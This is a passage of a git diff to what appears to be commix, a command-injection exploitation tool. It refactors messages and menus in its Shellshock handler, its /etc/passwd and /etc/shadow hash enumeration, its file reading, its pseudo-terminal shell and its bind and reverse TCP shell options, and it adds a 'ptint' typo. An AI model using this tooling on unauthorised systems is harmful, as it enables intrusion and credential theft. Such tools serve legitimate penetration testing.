- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
+ print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
- warn_msg = "It seems that '" + settings.PASSWD_FILE
- warn_msg += "' file is not in the appropriate format. "
- warn_msg += "Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
+ warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
+ warn_msg += "appropriate format. Thus, it is expoted as a text file."
+ print(settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users.split(":"))
- print(sys_users)
+ print(sys_users)
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(" " + sys_users)
output_file.close()
else:
- sys.stdout.write(settings.FAIL_STATUS)
- sys.stdout.flush()
+ print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to read the '"
warn_msg += settings.PASSWD_FILE + "'."
- print(settings.print_warning_msg(warn_msg))
+ ptint(settings.print_warning_msg(warn_msg))
except TypeError:
- sys.stdout.write(settings.FAIL_STATUS + "\n")
- sys.stdout.flush()
pass
-
except IndexError:
- sys.stdout.write(settings.FAIL_STATUS)
+ print(settings.SINGLE_WHITESPACE)
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "'."
+ warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
print(settings.print_warning_msg(warn_msg))
- pass
+ pass
settings.ENUMERATION_DONE = True
#-------------------------------------
@@ -314,50 +299,50 @@ def enumeration(url, cve, check_header, filename):
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split( )
if len(sys_passes) != 0 :
- info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE
+ info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
info_msg += "' in order to enumerate users password hashes. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
- sys.stdout.write(settings.SUCCESS_STATUS)
- info_msg = "Identified " + str(len(sys_passes))
- info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
- info_msg += " in '" + settings.SHADOW_FILE + "'."
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
- output_file.close()
- count = 0
- for line in sys_passes:
- count = count + 1
- try:
- if ":" in line:
- fields = line.split(":")
- if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1] + Style.RESET_ALL)
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
- output_file.close()
- # Check for appropriate (/etc/shadow) format
- except IndexError:
- if count == 1 :
- warn_msg = "It seems that '" + settings.SHADOW_FILE
- warn_msg += "' file is not in the appropriate format. "
- warn_msg += "Thus, it is expoted as a text file."
- sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
- print(fields[0])
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + fields[0])
- output_file.close()
- else:
- warn_msg = "It seems that you don't have permissions to read the '"
- warn_msg += settings.SHADOW_FILE + "' file."
- print(settings.print_warning_msg(warn_msg))
+ print(settings.print_info_msg(info_msg))
+ sys_passes = sys_passes.replace(" ", "\n")
+ sys_passes = sys_passes.split()
+ if len(sys_passes) != 0 :
+ info_msg = "Identified " + str(len(sys_passes))
+ info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
+ info_msg += " in '" + settings.SHADOW_FILE + "'."
+ print(settings.print_bold_info_msg(info_msg))
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
+ output_file.close()
+ count = 0
+ for line in sys_passes:
+ count = count + 1
+ try:
+ if ":" in line:
+ fields = line.split(":")
+ if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
+ print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
+ # Add infos to logs file.
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
+ output_file.close()
+ # Check for appropriate '/etc/shadow' format.
+ except IndexError:
+ if count == 1 :
+ warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
+ warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
+ print(settings.print_warning_msg(warn_msg))
+ print(fields[0])
+ output_file = open(filename, "a")
+ if not menu.options.no_logging:
+ output_file.write(" " + fields[0])
+ output_file.close()
+ else:
+ warn_msg = "It seems that you don't have permissions to read the '"
+ warn_msg += settings.SHADOW_FILE + "' file."
+ print(settings.print_warning_msg(warn_msg))
+
settings.ENUMERATION_DONE = True
"""
@@ -461,18 +446,19 @@ def file_access(url, cve, check_header, filename):
#-------------------------------------
if menu.options.file_read:
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
+ info_msg = "Fetching content of the file: '"
+ info_msg += file_to_read + "'."
+ print(settings.print_info_msg(info_msg))
# Execute command
cmd = "cat " + settings.FILE_READ + file_to_read
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
- info_msg = "Fetched content of the file '"
- info_msg += file_to_read + "'."
- print(settings.print_bold_info_msg(info_msg))
- print(settings.print_sub_content(shell))
+ _ = "Fetched file content"
+ print(settings.print_retrieved_data(_, shell))
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "Extracted content of the file '"
- info_msg += file_to_read + "' : " + shell + ".\n"
+ info_msg = "Fetched file content '"
+ info_msg += file_to_read + "' : " + shell + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
@@ -617,11 +603,7 @@ def shellshock_handler(url, http_request_method, filename):
payload = shellshock_payloads(cve, attack_vector)
# Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL == 1:
- print(settings.print_payload(payload))
- elif settings.VERBOSITY_LEVEL >= 2:
- debug_msg = "Generating payload for the injection."
- print(settings.print_debug_msg(debug_msg))
+ if settings.VERBOSITY_LEVEL != 0:
print(settings.print_payload(payload))
header = {check_header : payload}
request = _urllib.request.Request(url, None, header)
@@ -683,18 +665,19 @@ def shellshock_handler(url, http_request_method, filename):
if settings.VERBOSITY_LEVEL != 0:
checks.total_of_requests()
- info_msg = "The " + check_header + " " + vuln_parameter
- info_msg += " seems injectable via " + technique + "."
+ finding = check_header + " " + vuln_parameter
+ # Print the findings to terminal.
+ info_msg = finding + " appears to be injectable via " + technique + "."
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
print(settings.print_bold_info_msg(info_msg))
print(settings.print_sub_content(payload))
# Enumeration options.
- if settings.ENUMERATION_DONE == True:
+ if settings.ENUMERATION_DONE:
while True:
- message = "Do you want to ignore stored session and enumerate again? [Y/n] > "
- enumerate_again = common.read_input(message, default="Y", check_batch=True)
+ message = "Do you want to ignore stored session and enumerate again? [y/N] > "
+ enumerate_again = common.read_input(message, default="N", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
enumeration(url, cve, check_header, filename)
break
@@ -712,8 +695,8 @@ def shellshock_handler(url, http_request_method, filename):
# File access options.
if settings.FILE_ACCESS_DONE == True:
while True:
- message = "Do you want to ignore stored session and access files again? [Y/n] > "
- file_access_again = common.read_input(message, default="Y", check_batch=True)
+ message = "Do you want to ignore stored session and access files again? [y/N] > "
+ file_access_again = common.read_input(message, default="N", check_batch=True)
if file_access_again in settings.CHOICE_YES:
file_access(url, cve, check_header, filename)
break
@@ -731,33 +714,32 @@ def shellshock_handler(url, http_request_method, filename):
if menu.options.os_cmd:
cmd = menu.options.os_cmd
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
- info_msg = "Executing the user-supplied command '" + cmd + "'."
+ info_msg = "Executing the user-supplied command: '" + cmd + "'."
if shell:
print(settings.print_info_msg(info_msg))
- print(settings.SINGLE_WHITESPACE)
- print(settings.command_execution_output(shell))
- print(settings.SINGLE_WHITESPACE)
+ _ = "'" + cmd + "' execution output"
+ print(settings.print_retrieved_data(_, shell))
else:
- err_msg = "The '" + cmd + "' command, does not return any output."
+ err_msg = "The execution of '" + cmd + "' command does not return any output."
print(settings.print_critical_msg(err_msg))
- # Pseudo-Terminal shell
- go_back = False
- go_back_again = False
- while True:
- if go_back == True:
- break
- message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
- if settings.IS_TTY:
- gotshell = common.read_input(message, default="Y", check_batch=True)
- else:
- gotshell = common.read_input(message, default="n", check_batch=True)
- if gotshell in settings.CHOICE_YES:
- print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
- if settings.READLINE_ERROR:
- checks.no_readline_module()
- while True:
- try:
+ try:
+ # Pseudo-Terminal shell
+ go_back = False
+ go_back_again = False
+ while True:
+ if go_back == True:
+ break
+ message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
+ if settings.IS_TTY:
+ gotshell = common.read_input(message, default="Y", check_batch=True)
+ else:
+ gotshell = common.read_input(message, default="n", check_batch=True)
+ if gotshell in settings.CHOICE_YES:
+ print(settings.OS_SHELL_TITLE)
+ if settings.READLINE_ERROR:
+ checks.no_readline_module()
+ while True:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
@@ -792,41 +774,39 @@ def shellshock_handler(url, http_request_method, filename):
print(settings.SINGLE_WHITESPACE)
sys.stdout.write(settings.print_payload(payload))
print(settings.SINGLE_WHITESPACE)
- err_msg = "The '" + cmd + "' command, does not return any output."
+ err_msg = "The execution of '" + cmd + "' command does not return any output."
print(settings.print_critical_msg(err_msg))
- print(settings.SINGLE_WHITESPACE)
+ elif gotshell in settings.CHOICE_NO:
+ if checks.next_attack_vector(technique, go_back) == True:
+ break
+ else:
+ if no_result == True:
+ return False
+ else:
+ logs.logs_notification(filename)
+ return True
- except KeyboardInterrupt:
- raise
+ elif gotshell in settings.CHOICE_QUIT:
+ raise SystemExit()
- except SystemExit:
- raise
+ else:
+ err_msg = "'" + gotshell + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ continue
+ break
+
+ except (KeyboardInterrupt, SystemExit):
+ print(settings.SINGLE_WHITESPACE)
+ raise
- except EOFError:
- if not settings.IS_TTY:
- print(settings.SINGLE_WHITESPACE)
- err_msg = "Exiting, due to EOFError."
- print(settings.print_error_msg(err_msg))
- raise
+ except EOFError:
+ if not settings.IS_TTY:
+ print(settings.SINGLE_WHITESPACE)
+ err_msg = "Exiting, due to EOFError."
+ print(settings.print_error_msg(err_msg))
+ raise
- except TypeError:
- break
-
- elif gotshell in settings.CHOICE_NO:
- if checks.next_attack_vector(technique, go_back) == True:
- break
- else:
- if no_result == True:
- return False
- else:
- logs.logs_notification(filename)
- return True
- elif gotshell in settings.CHOICE_QUIT:
- raise SystemExit()
- else:
- err_msg = "'" + gotshell + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- continue
+ except TypeError:
break
if no_result == True:
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index ccd7761cb7..4f18522c36 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -158,7 +158,7 @@ def do_GET_check(url, http_request_method):
Define the vulnerable GET parameter.
"""
def vuln_GET_param(url):
- urls_list = []
+
# Define the vulnerable parameter
if "?" not in url:
# Grab the value of parameter.
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 06cf9ab0d3..d7eb890432 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -1183,7 +1183,7 @@ def check_target_os(server_banner):
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
- identified_os = "unix-like (" + settings.TARGET_OS + ")"
+ identified_os = "Unix-like (" + settings.TARGET_OS + ")"
if menu.options.os and user_defined_os == "win":
if not checks.identified_os():
settings.TARGET_OS = user_defined_os
@@ -1207,7 +1207,7 @@ def check_target_os(server_banner):
if menu.options.batch:
if not settings.CHECK_BOTH_OS:
settings.CHECK_BOTH_OS = True
- check_type = "unix-like based"
+ check_type = "Unix-like based"
elif settings.CHECK_BOTH_OS:
settings.TARGET_OS = "win"
settings.CHECK_BOTH_OS = False
diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py
index d1acf6c6dc..94aca7f6f8 100755
--- a/src/core/shells/bind_tcp.py
+++ b/src/core/shells/bind_tcp.py
@@ -178,13 +178,12 @@ def netcat_version(separator):
]
while True:
- nc_version = _input("""
----[ """ + Style.BRIGHT + Fore.BLUE + """Netcat bind TCP shells""" + Style.RESET_ALL + """ ]---
-Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host.
-Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host.
-Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host.
-Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host.
-\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """)
+ nc_version = _input("""""" + Style.BRIGHT + """Available netcat bind TCP shell options:""" + Style.RESET_ALL + """
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host.
+commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """)
# Default Netcat
if nc_version == '1':
@@ -244,18 +243,17 @@ def netcat_version(separator):
def other_bind_shells(separator):
while True:
- other_shell = _input("""
----[ """ + Style.BRIGHT + Fore.BLUE + """Generic bind TCP shells""" + Style.RESET_ALL + """ ]---
-Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell.
-Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell.
-Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell.
-Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell.
-Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell.
-Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell.
-\n---[ """ + Style.BRIGHT + Fore.BLUE + """Meterpreter bind TCP shells""" + Style.RESET_ALL + """ ]---
-Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell.
-Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell.
-\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """)
+ other_shell = _input("""""" + Style.BRIGHT + """Available generic bind TCP shell options:""" + Style.RESET_ALL + """
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell.
+""" + Style.BRIGHT + """Available meterpreter bind TCP shell options:""" + Style.RESET_ALL + """
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell.
+commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """)
# PHP-bind-shell
if other_shell == '1':
@@ -457,11 +455,10 @@ def other_bind_shells(separator):
def bind_tcp_options(separator):
while True:
- bind_tcp_option = _input("""
----[ """ + Style.BRIGHT + Fore.BLUE + """Bind TCP shells""" + Style.RESET_ALL + """ ]---
-Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat bind TCP shells.
-Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells.
-\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """)
+ bind_tcp_option = _input("""""" + Style.BRIGHT + """Available bind TCP shell options:""" + Style.RESET_ALL + """
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat bind TCP shells.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells.
+commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """)
if bind_tcp_option.lower() == "bind_tcp":
warn_msg = "You are into the '" + bind_tcp_option.lower() + "' mode."
diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py
index 2f12bb71a9..cb887c9905 100755
--- a/src/core/shells/reverse_tcp.py
+++ b/src/core/shells/reverse_tcp.py
@@ -214,13 +214,12 @@ def netcat_version(separator):
]
while True:
- nc_version = _input("""
----[ """ + Style.BRIGHT + Fore.BLUE + """Netcat reverse TCP shells""" + Style.RESET_ALL + """ ]---
-Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host.
-Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host.
-Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host.
-Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host.
-\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """)
+ nc_version = _input("""""" + Style.BRIGHT + """Available netcat reverse TCP shell options:""" + Style.RESET_ALL + """
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host.
+commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """)
# Default Netcat
if nc_version == '1':
@@ -282,22 +281,21 @@ def netcat_version(separator):
def other_reverse_shells(separator):
while True:
- other_shell = _input("""
----[ """ + Style.BRIGHT + Fore.BLUE + """Generic reverse TCP shells""" + Style.RESET_ALL + """ ]---
-Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell.
-Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell.
-Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell.
-Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell.
-Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell.
-Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell.
-Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a Ncat reverse TCP shell.
-Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python reverse TCP shell (windows).
-\n---[ """ + Style.BRIGHT + Fore.BLUE + """Meterpreter reverse TCP shells""" + Style.RESET_ALL + """ ]---
-Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell.
-Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell.
-Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows).
-Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script.
-\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """)
+ other_shell = _input("""""" + Style.BRIGHT + """Available generic reverse TCP shell options:""" + Style.RESET_ALL + """
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a Ncat reverse TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python reverse TCP shell (windows).
+""" + Style.BRIGHT + """Available meterpreter reverse TCP shell options:""" + Style.RESET_ALL + """
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows).
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script.
+commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """)
# PHP-reverse-shell
if other_shell == '1':
@@ -489,11 +487,10 @@ def other_reverse_shells(separator):
continue
else:
while True:
- windows_reverse_shell = _input("""
----[ """ + Style.BRIGHT + Fore.BLUE + """Powershell injection attacks""" + Style.RESET_ALL + """ ]---
-Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode.
-Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn.
-\ncommix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """)
+ windows_reverse_shell = _input("""""" + Style.BRIGHT + """Available powershell injection options:""" + Style.RESET_ALL + """
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn.
+commix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """)
if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS):
if shell_options(windows_reverse_shell):
@@ -586,12 +583,11 @@ def other_reverse_shells(separator):
# Web delivery script
elif other_shell == '12':
while True:
- web_delivery = _input("""
----[ """ + Style.BRIGHT + Fore.BLUE + """Web delivery script""" + Style.RESET_ALL + """ ]---
-Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell.
-Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell.
-Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows).
-\ncommix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """)
+ web_delivery = _input("""""" + Style.BRIGHT + """Available web delivery script options:""" + Style.RESET_ALL + """
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows).
+commix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """)
if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS):
if shell_options(web_delivery):
@@ -671,11 +667,10 @@ def other_reverse_shells(separator):
def reverse_tcp_options(separator):
while True:
- reverse_tcp_option = _input("""
----[ """ + Style.BRIGHT + Fore.BLUE + """Reverse TCP shells""" + Style.RESET_ALL + """ ]---
-Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat reverse TCP shells.
-Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells.
-\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """)
+ reverse_tcp_option = _input("""""" + Style.BRIGHT + """Available reverse TCP shell options:""" + Style.RESET_ALL + """
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat reverse TCP shells.
+""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells.
+commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """)
if reverse_tcp_option.lower() == "reverse_tcp":
warn_msg = "You are into the '" + reverse_tcp_option.lower() + "' mode."
diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py
index fae3025bb3..a374701281 100644
--- a/src/core/tamper/backslashes.py
+++ b/src/core/tamper/backslashes.py
@@ -19,7 +19,7 @@
"""
About: Adds back slashes (\) between the characters of the generated payloads.
-Notes: This tamper script works against unix-like target(s).
+Notes: This tamper script works against Unix-like target(s).
"""
__tamper__ = "backslashes"
diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py
